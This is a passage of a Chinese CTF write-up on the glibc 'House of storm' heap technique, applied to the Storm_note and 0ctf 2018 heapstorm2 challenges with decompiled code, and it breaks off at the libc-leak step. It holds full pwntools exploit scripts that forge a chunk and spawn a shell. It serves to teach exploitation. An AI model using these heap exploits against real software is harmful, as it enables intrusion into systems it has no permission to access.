• House of storm


    House of storm

    结合了unsorted_bin_attack和Largebin_attack的攻击技术,实现任意地址分配chunk,任意地址写。

    利用条件:

    1.需要攻击者在largebin和unsorted_bin中分别布置一个chunk ,
      这两个chunk需要在归位之后处于同一个largebin的index中,
      且unsortedbin中的chunk要比largebin中的大
    2.需要unsorted_bin中的bk指针可控
    3.需要largebin中的bk指针和bk_nextsize指针可控
    4.glibc版本小于2.30,因为2.30之后加入了检查
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    largebin中size与index的对应关系

    size    index
    [0x400 , 0x440)   	 64
    [0x440 , 0x480)    	 65
    [0x480 , 0x4C0)   	 66
    [0x4C0 , 0x500)   	 67
    [0x500 , 0x540)   	 68
    等差 0x40    …
    [0xC00 , 0xC40)    	 96
    [0xC40 , 0xE00)      97
    [0xE00 , 0x1000)     98
    [0x1000 , 0x1200)    99
    [0x1200 , 0x1400)    100
    [0x1400 , 0x1600)    101
    等差 0x200    …
    [0x2800 , 0x2A00)    111
    [0x2A00 , 0x3000)    112
    [0x3000 , 0x4000)    113
    [0x4000 , 0x5000)    114
    等差 0x1000    …
    [0x9000 , 0xA000)      119
    [0xA000 , 0x10000)     120
    [0x10000 , 0x18000)    121
    [0x18000 , 0x20000)    122
    [0x20000 , 0x28000)    123
    [0x28000 , 0x40000)    124
    [0x40000 , 0x80000)    125
    [0x80000 , …. )        126
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    利用方法

    1.将unsorted_bin中的bk指针改为fake_chunk
    2.largebin中的bk指针改为fake_chunk+8,bk_nextsize指针改为fake_chunk-0x18-5	,
    (target为要修改的目标地址,fake_chunk为target-0x20)
     来满足victim->bk_nextsize->fd_nextsize = victim(即fake_chunk-0x18-5=victim)
    3.再次malloc获得target地址处的chunk,可修改target地址处的值
    
    • 1
    • 2
    • 3
    • 4
    • 5

    House_of_storm的精髓所在——伪造size,如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,且如果是小端存储的话,减去五个字节,剩下的就是0x55了。如果提前5个字节开始写堆地址,那么伪造在size字段上面的就正好是0x55。如果后续再申请堆块时,通过对齐使0x55对齐之后和攻击者申请的size正好相同的话,就可以在任意地址上申请出来一个chunk,也就可以达成后续的任意地址写操作。
    之所以是0x56是因为__int_malloc在拿到chunk后返回到__libc_malloc,__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,必须满足以下条件之一即可:

    1. victim 为 0
    2. IS_MMAPPED 为 1
    3. NON_MAIN_ARENA 为 0
    
    • 1
    • 2
    • 3

    0x56(二进制数为0101 0110)满足条件
    0x55(二进制数为0101 0101)不满足条件
    但是由于程序有随机化,多运行几次总能有一次成功的。

    unsorted_bin->fd = 0
    unsorted_bin->bk = fake_chunk
    
    large_bin->fd = 0
    large_bin->bk = fake_chunk+8
    large_bin->fd_nextsize = 0
    large_bin->bk_nextsize = fake_chunk - 0x18 -5
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    例题

    2019 西湖论剑 Storm_note在这里插入图片描述

    保护全开,实现四个功能,增改删退,ida查看伪代码
    init_proc()函数,mallopt()函数,设置fastbin 范围最大为0,禁用了fastbin,
    之后用mmap在 0xABCD0100处分配0x30大小的空间,填充上了随机数

    init_proc()函数

     ssize_t init_proc()
    {
      ssize_t result; // rax
      int fd; // [rsp+Ch] [rbp-4h]
    
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      if ( !mallopt(1, 0) )                         // mallopt(M_MXFAST,0)将global_max_fast设置为0,
                                                    // 这个值的意思是最大为多大的chunk归fastbin管理,
                                                    // 设置为0表示这个程序中不再存在fastbin。
                                                    // 即本程序禁用了fastbin。
        exit(-1);
      if ( mmap(0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != 0xABCD0000LL )
        exit(-1);
      fd = open("/dev/urandom", 0);
      if ( fd < 0 )
        exit(-1);
      result = read(fd, 0xABCD0100LL, 0x30uLL);
      if ( result != 48 )
        exit(-1);
      return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    add函数

    calloc函数来分配堆空间,因此返回前会对分配的堆的内容进行清零。

    unsigned __int64 alloc_note()
    {
      int size; // [rsp+0h] [rbp-10h] BYREF
      int i; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v3; // [rsp+8h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      for ( i = 0; i <= 15 && note[i]; ++i )
        ;
      if ( i == 16 )
      {
        puts("full!");
      }
      else
      {
        puts("size ?");
        _isoc99_scanf("%d", &size);
        if ( size > 0 && size <= 0xFFFFF )
        {
          note[i] = calloc(size, 1uLL);             // calloc函数来分配堆空间,因此返回前会对分配的堆的内容进行清零。
                                                    // 
          note_size[i] = size;
          puts("Done");
        }
        else
        {
          puts("Invalid size");
        }
      }
      return __readfsqword(0x28u) ^ v3;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    edit函数

    存在off-by-null

    unsigned __int64 edit_note()
    {
      unsigned int size; // [rsp+0h] [rbp-10h] BYREF
      int v2; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v3; // [rsp+8h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      puts("Index ?");
      _isoc99_scanf("%d", &size);
      if ( size <= 0xF && note[size] )
      {
        puts("Content: ");
        v2 = read(0, note[size], note_size[size]);
        *(note[size] + v2) = 0;                     // off-by-null
                                                    // 
        puts("Done");
      }
      else
      {
        puts("Invalid index");
      }
      return __readfsqword(0x28u) ^ v3;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    free函数

    无uaf

    unsigned __int64 delete_note()
    {
      unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      puts("Index ?");
      _isoc99_scanf("%d", &v1);
      if ( v1 <= 0xF && note[v1] )
      {
        free(note[v1]);
        note[v1] = 0LL;
        note_size[v1] = 0;
      }
      else
      {
        puts("Invalid index");
      }
      return __readfsqword(0x28u) ^ v2;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    一个后门函数

    要想执行system(“/bin/sh”);,需要输入与程序一开始分配的随机数相同的数

    void __noreturn backdoor()
    {
      char buf[56]; // [rsp+0h] [rbp-40h] BYREF
      unsigned __int64 v1; // [rsp+38h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      puts("If you can open the lock, I will let you in");
      read(0, buf, 0x30uLL);
      if ( !memcmp(buf, 0xABCD0100LL, 0x30uLL) )
        system("/bin/sh");
      exit(0);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    思路

    1、利用off-by-null 漏洞构造堆风水,实现堆块重叠,从而控制堆块内容。
    2、House of storm,将处于unsortedbin的可控制的chunk放入largebin中,以便触发largebin attack
    3、控制largebin的bk和bk_nextsize指针,通过malloc触发漏洞,分配到目标地址,实现任意地址写,将0xABCD0100处的0x30字节改为已知值,获得shell

    过程

    先把前面的东西写好

    # coding=utf-8
    from pwn import *
    #context(endian='little',os='linux',arch='amd64',log_level='debug')
    sh = process('./Storm_note')
    
    s       = lambda data               :sh.send(data)
    sa      = lambda delim,data         :sh.sendafter(delim, data)
    sl      = lambda data               :sh.sendline(data)
    sla     = lambda delim,data         :sh.sendlineafter(delim, data)
    r       = lambda num=4096           :sh.recv(num)
    ru      = lambda delims		    :sh.recvuntil(delims)
    itr     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4,'\0'))
    uu64    = lambda data               :u64(data.ljust(8,'\0'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
    def dbg():
            gdb.attach(sh)
            pause()
    
    
    def add(size):
      sla('Choice','1')
      sla('?',str(size))
    
    def edit(index,text):
      sla('Choice','2')
      sla('?',str(index))
      sa('Content',text)
    
    def free(index):
      sla('Choice','3')
      sla('?',str(index))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    首先申请两组chunk,用来构造堆块重叠,并进入unsortedbin和largebin

    add(0x18)#0
    add(0x508)#1
    add(0x18)#2
    
    add(0x18)#3
    add(0x508)#4
    add(0x18)#5
    
    add(0x18)#6
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在这里插入图片描述

    然后构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。

    edit(1,'a'*0x4f0+p64(0x500)) 
    edit(4,'a'*0x4f0+p64(0x500)) 
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4


    然后再free(1),利用off-by-null编辑chunk_0,将chunk_1的size从0x510改为0x500,由于刚才构造的两个fake chunk,此时堆块已合并

    free(1)
    edit(0,'a'*0x18)#off-by-null改写chunk1的size为0x500
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    再申请两个chunk,使之恢复正常,之后free掉chunk_1和chunk_2,使之合并

    add(0x18)#1
    add(0x4d8)#7  
    
    free(1)
    free(2)    
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    再次申请两个特定大小的chunk即可实现chunk7可以控制原unsortedbin chunk 0x4f1的bk指针,即我们可以用chunk_7来控制chunk_2(unsortedbin chunk),为便于理解我们可查看一下note这个存放全局chunk mem指针的数组

    add(0x30)#1 此时chunk1可以控制原unsortedbin chunk  0x4f1(chunk_2)的bk指针
    add(0x4e0)#2
    dbg()
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    下面同理获得chunk8可以控制原 (largebin chunk 0x4e1 )的bk指针和bk_nextsize指针

    free(4)
    edit(3,'a'*0x18)#off by null
    add(0x18)#4
    add(0x4d8)#8 0x5a0
    free(4)
    free(5)
    add(0x40)#4 0x580
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    之后free(2),放入unsortedbin

    free(2)    
    
    dbg()
    
    • 1
    • 2
    • 3


    再申请回来0x4e8(0x4f0)大小的chunk,使0x4e0大小的chunk进入largebin

    add(0x4e8)      # put chunk8(0x5c0) to largebin
    
    dbg()
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    再次free(2),构造一个unsortedbin chunk和一个largebin chunk

    free(2) #put chunk2 to unsortedbin
    
    dbg()
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    之后利用刚才构造的堆块重叠,修改unsortedbin chunk的bk指针为目标地址(target-0x20)

    target = 0xabcd0100
    fake_chunk = target - 0x20
    
    payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
    payload += p64(0) + p64(fake_chunk)      # bk
    edit(7,payload)
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
    在这里插入图片描述
    之后利用刚才构造的堆块重叠,修改largebin chunk的bk指针和bk_nextsize指针分别为fake_chunk+8,和fake_chunk-0x18-5

    payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
    payload2 += p64(0) + p64(fake_chunk+8)   
    payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap
    
    edit(8,payload2)
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    然后申请0x40(0x50)大小的chunk,可以看到在目标地址处0xabcd00e0成功伪造fake chunk,size为0x56,巧妙的实现victim->bk_nextsize->fd_nextsize = victim

    add(0x40)
    
    dbg()
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    之后就是把0xABCD0100处的0x30个字节改为已知数,然后获得shell

    payload = '\x00'*(0x10+0x30)
    edit(2,payload)
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4

    	sla('Choice: ','666')
    	s(p64(0)*6)
    	itr()
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    exp

    # coding=utf-8
    from pwn import *
    #context(endian='little',os='linux',arch='amd64',log_level='debug')
    sh = process('./Storm_note')
    
    s       = lambda data               :sh.send(data)
    sa      = lambda delim,data         :sh.sendafter(delim, data)
    sl      = lambda data               :sh.sendline(data)
    sla     = lambda delim,data         :sh.sendlineafter(delim, data)
    r       = lambda num=4096           :sh.recv(num)
    ru      = lambda delims		    :sh.recvuntil(delims)
    itr     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4,'\0'))
    uu64    = lambda data               :u64(data.ljust(8,'\0'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
    def dbg():
            gdb.attach(sh)
            pause()
    
    
    def add(size):
      sla('Choice','1')
      sla('?',str(size))
    
    def edit(index,text):
      sla('Choice','2')
      sla('?',str(index))
      sa('Content',text)
    
    def free(index):
      sla('Choice','3')
      sla('?',str(index))
    #---------------布置chunk-------------------------#
    add(0x18)#0
    add(0x508)#1
    add(0x18)#2
    
    add(0x18)#3
    add(0x508)#4
    add(0x18)#5
    
    add(0x18)#6
    
    
    #dbg()
    #构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。
    edit(1,'a'*0x4f0+p64(0x500)) 
    edit(4,'a'*0x4f0+p64(0x500)) 
    
    #dbg()
    #----------------准备 unsorted chunk-----------------------#
    free(1)
    edit(0,'a'*0x18)#off-by-null改写chunk1的size为0x500
    
    #dbg()
    
    add(0x18)#1
    add(0x4d8)#7  
    
    free(1)
    free(2)    
    
    #dbg()
    
    #recover
    add(0x30)#1 此时chunk7可以控制原 (unsortedbin chunk  0x4f1)的bk指针
    add(0x4e0)#2
    #-------------------准备 large chunk-----------------------------------#
    #dbg()
    #下面同理获得chunk8可以控制原 (largebin chunk 0x4e1 )的bk指针和bk_nextsize指针
    free(4)
    edit(3,'a'*0x18)#off by null
    add(0x18)#4
    add(0x4d8)#8 0x5a0
    free(4)
    free(5)
    add(0x40)#4 0x580
    
     #---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
    free(2)    #unsortedbin-> chunk2 -> chunk5(chunk8)(0x5c0)    which size is largebin FIFO
     
    #dbg()
    #
    add(0x4e8)      # put chunk8(0x5c0) to largebin
    
    #dbg()
    
    free(2) #put chunk2 to unsortedbin
    
    #dbg()
     #--------------修改他们是的满足条件进行 house of strom------------------------------#
    target = 0xabcd0100
    fake_chunk = target - 0x20
    
    payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
    payload += p64(0) + p64(fake_chunk)      # bk
    edit(7,payload)
    
    #dbg()
    
    payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
    payload2 += p64(0) + p64(fake_chunk+8)   
    payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap
    
    edit(8,payload2)
    
    #dbg()
    
    add(0x40)
    
    #dbg()
    
    payload = '\x00'*(0x10+0x30)
    edit(2,payload)
    
    #dbg()
    
    sla('Choice: ','666')
    s(p64(0)*6)
    itr()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121

    0ctf_2018_heapstorm2

    在这里插入图片描述
    同样是保护全开,

    main

    实现四个功能,增删改查

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      __int64 v4; // [rsp+8h] [rbp-8h]   	//v4=0x13370800
    
      v4 = sub_BE6();
    
      while ( 1 )
      {
        menu();
        switch ( chioce(a1, a2) )
        {
          case 1LL:
            a1 = v4;
            add(v4);
            break;
          case 2LL:
            a1 = v4;
            up(v4);
            break;
          case 3LL:
            a1 = v4;
            delete(v4);
            break;
          case 4LL:
            a1 = v4;
            show(v4);
            break;
          case 5LL:
            return 0LL;
          default:
            continue;
        }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    主函数里有个sub_BE6()函数,其中禁用了fastbin,并且用mmap在0x13370000处分配了大小为0x1000的chunk,从/dev/urandom中读取了3个随机数到0x13370800处,还调用了两个异或函数,由后面可知,是对chunk的头指针和size进行了异或加密,返回0x13370800给v4,这里相当于有四个随机数,第三个和第四个随机数相同

    __int64 sub_BE6()
    {
      int i; // [rsp+8h] [rbp-18h]
      int fd; // [rsp+Ch] [rbp-14h]
    
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(_bss_start, 0LL, 2, 0LL);
      alarm(0x3Cu);
      puts(
        "    __ __ _____________   __   __    ___    ____\n"
        "   / //_// ____/ ____/ | / /  / /   /   |  / __ )\n"
        "  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |\n"
        " / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /\n"
        "/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/\n");
      puts("===== HEAP STORM II =====");
      if ( !mallopt(1, 0) )                         // 禁用fastbin
        exit(-1);
      if ( mmap(0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != 322371584 )
        exit(-1);
      fd = open("/dev/urandom", 0);
      if ( fd < 0 )
        exit(-1);
      if ( read(fd, 0x13370800, 0x18uLL) != 24 )
        exit(-1);
      close(fd);
      MEMORY[0x13370818] = MEMORY[0x13370810];
      for ( i = 0; i <= 15; ++i )
      {
        *(16 * (i + 2LL) + 0x13370800) = ptr_xor(0x13370800, 0LL);
        *(16 * (i + 2LL) + 0x13370808) = size_xor(0x13370800LL, 0LL);
      }
      return 0x13370800LL;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    ptr_xor()

    __int64 __fastcall ptr_xor(_QWORD *a1, __int64 a2)
    {
      return *a1 ^ a2;     //a1为第一个随机数
    }
    
    • 1
    • 2
    • 3
    • 4

    size_xor()

    __int64 __fastcall size_xor(__int64 a1, __int64 a2)
    {
      return a2 ^ *(a1 + 8);	//a1+8为第一个随机数
    }
    
    • 1
    • 2
    • 3
    • 4

    readd函数存在一个off-by-one

    unsigned __int64 __fastcall sub_1402(__int64 a1, __int64 a2)
    {
      __int64 v3; // rax
      char buf; // [rsp+17h] [rbp-19h] BYREF
      unsigned __int64 v5; // [rsp+18h] [rbp-18h]
      ssize_t v6; // [rsp+20h] [rbp-10h]
      unsigned __int64 v7; // [rsp+28h] [rbp-8h]
    
      v7 = __readfsqword(0x28u);
      if ( !a2 )
        return 0LL;
      v5 = 0LL;
      while ( a2 - 1 > v5 )
      {
        v6 = read(0, &buf, 1uLL);
        if ( v6 > 0 )
        {
          if ( buf == 10 )
            break;
          v3 = v5++;
          *(v3 + a1) = buf;
        }
        else if ( *_errno_location() != 11 && *_errno_location() != 4 )
        {
          break;
        }
      }
      *(a1 + v5) = 0;                               // off-by-null
      return v5;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    add函数
    只能申请0xC 到0x1000的chunk,且chunk的头指针和size用 了异或加密,由上面的异或函数可知只是用了前两个随机数,并且我们看到chunk的头指针和size是 在0x13370800+4*0x8处开始存放的,按照mem指针+size顺序依次存放

    void __fastcall add(__int64 a1)
    {
      int i; // [rsp+10h] [rbp-10h]
      int size; // [rsp+14h] [rbp-Ch]
      void *v3; // [rsp+18h] [rbp-8h]
    
      for ( i = 0; i <= 15; ++i )
      {
        if ( !size_xor(a1, *(16 * (i + 2LL) + a1 + 8)) )
        {
          printf("Size: ");
          size = chioce();
          if ( size > 12 && size <= 4096 )
          {
            v3 = calloc(size, 1uLL);
            if ( !v3 )
              exit(-1);
            *(16 * (i + 2LL) + a1 + 8) = size_xor(a1, size);
            *(16 * (i + 2LL) + a1) = ptr_xor(a1, v3);
            printf("Chunk %d Allocated\n", i);
          }
          else
          {
            puts("Invalid Size");
          }
          return;
        }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    edit函数

    读入的数据+12要小于等于申请时写的size,我们读入的数据会追加上一个12字节字符串再加上一个0结尾,所以存在off_by_null但是prev_size无法控制。

    int __fastcall edit(_QWORD *a1)
    {
      signed int v2; // [rsp+10h] [rbp-20h]
      int v3; // [rsp+14h] [rbp-1Ch]
      __int64 v4; // [rsp+18h] [rbp-18h]
    
      printf("Index: ");
      v2 = chioce();
      if ( v2 > 0xF || !size_xor(a1, a1[2 * v2 + 5]) )
        return puts("Invalid Index");
      printf("Size: ");
      v3 = chioce();
      if ( v3 <= 0 || v3 > (size_xor(a1, a1[2 * v2 + 5]) - 12) )
        return puts("Invalid Size");
      printf("Content: ");
      v4 = ptr_xor(a1, a1[2 * v2 + 4]);
      sub_1377(v4, v3);
      strcpy((v3 + v4), "HEAPSTORM_II");
      return printf("Chunk %d Updated\n", v2);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    free函数

    不存在uaf

    int __fastcall sub_109B(_QWORD *a1)
    {
      void *v2; // rax
      signed int v3; // [rsp+1Ch] [rbp-4h]
    
      printf("Index: ");
      v3 = chioce();
      if ( v3 > 0xF || !size_xor(a1, a1[2 * v3 + 5]) )
        return puts("Invalid Index");
      v2 = ptr_xor(a1, a1[2 * v3 + 4]);
      free(v2);
      a1[2 * v3 + 4] = ptr_xor(a1, 0LL);
      a1[2 * v3 + 5] = size_xor(a1, 0LL);
      return printf("Chunk %d Deleted\n", v3);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    show函数

    需要满足 (a1[3] ^ a1[2]) == 0x13377331才能使用该函数,也就是第2个随机数和第3个随机数异或后为0x13377331才行

    	int __fastcall sub_11B5(_QWORD *a1)
    {
      __int64 v2; // rbx
      __int64 v3; // rax
      signed int v4; // [rsp+1Ch] [rbp-14h]
    
      if ( (a1[3] ^ a1[2]) != 0x13377331LL )
        return puts("Permission denied");
      printf("Index: ");
      v4 = chioce();
      if ( v4 > 0xF || !size_xor(a1, a1[2 * v4 + 5]) )
        return puts("Invalid Index");
      printf("Chunk[%d]: ", v4);
      v2 = size_xor(a1, a1[2 * v4 + 5]);
      v3 = ptr_xor(a1, a1[2 * v4 + 4]);
      sub_14D4(v3, v2);
      return puts(byte_180A);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    思路

    题目保护全开,我们想到的是把free_hook改为system地址,而我们首先得泄露出libc基地址,就必须利用show函数,要想利用show函数,就必须修改第3个随机数和第4个随机数的值,使它们异或后为0x13377331,随机数是在0x13370800处,我们就想到要将chunk分配到0x13370800处,程序允许我们分配最大0x1000大小的chunk,可以使用House of storm来将chunk分配到0x13370800处,这样我们不仅控制了四个随机数,还控制了chunk的全局数组

    过程

    先把前面的东西写好

    #coding:utf-8
    from pwn import *
    context(endian='little',os='linux',arch='amd64',log_level='debug')
    sh = process('./0ctf_2018_heapstorm2')
    libc = ELF('./libc-2.23.so')
    #命令简写化
    s       = lambda data               :sh.send(data)
    sa      = lambda delim,data         :sh.sendafter(delim,data)
    sl      = lambda data               :sh.sendline(data)
    sla     = lambda delim,data         :sh.sendlineafter(delim,data)
    r       = lambda num=4096           :sh.recv(num)
    rl      = lambda num=4096           :sh.recvline(num)
    ru      = lambda delims   :sh.recvuntil(delims )
    itr     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4,'\0'))
    uu64    = lambda data               :u64(data.ljust(8,'\0'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    def dbg():
        gdb.attach(sh)
        pause()
    def add(size):
        sla('Command: ','1')
        sla('Size: ',str(size))  # 12
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    和上一题一样,先构造一个unsortedbin和largebin,并且利用off-by-null来实现控制unsortedbin chunk的bk指针和largebin chunk的bk和bk_size指针,然后再malloc chunk,将chunk分配到0x13370800处,这里要注意的是这道题的edit函数有点不同,会把我们输入的字节后面加上12字节再加一个’\x00’,所以我们每次edit都要少输入12字节即可实现0ff-by-null。

    #---------------布置chunk-------------------------#
    add(0x18)#0	   
    add(0x508)#1
    add(0x18)#2
    
    add(0x18)#3   
    add(0x508)#4
    add(0x18)#5   
    
    add(0x18)#6   
    
    #----------------准备 unsorted chunk-----------------------#
    edit(1,'\x00'*0x4F0+p64(0x500)) 
    free(1)
    edit(0,'\x00'*(0x18-12))
    add(0x18) #1 
    add(0x4d8) #7   
    
    free(1)   
    free(2) #1-2
    
    add(0x38)#1
    add(0x4e8)#2  
    
    #-------------------准备 large chunk-----------------------------------#
    edit(4,'\x00'*0x4F0+p64(0x500))
    free(4)
    edit(3,'\x00'*(0x18-12)) 
    add(0x18) #4
    add(0x4d8) #8
    
    free(4)
    free(5) #4-5 
    
    add(0x48)#4  
    #---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
    free(2)
    add(0x4e8) 
    free(2) 
    #--------------修改他们是的满足条件进行 house of strom------------------------------#
    fake_chunk = 0x13370800 - 0x20
    payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
    edit(7, payload) #修改unsorted chunk的bk
    
    payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
    edit(8, payload)  
    add(0x48) 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47

    现在我们已经可以控制0x13370800处的值了,我们把这些随机数都改为0,然后把chunk_0改为0x13370800,以此来实现控制

    #-----------------------泄漏 libc----------------------------------#
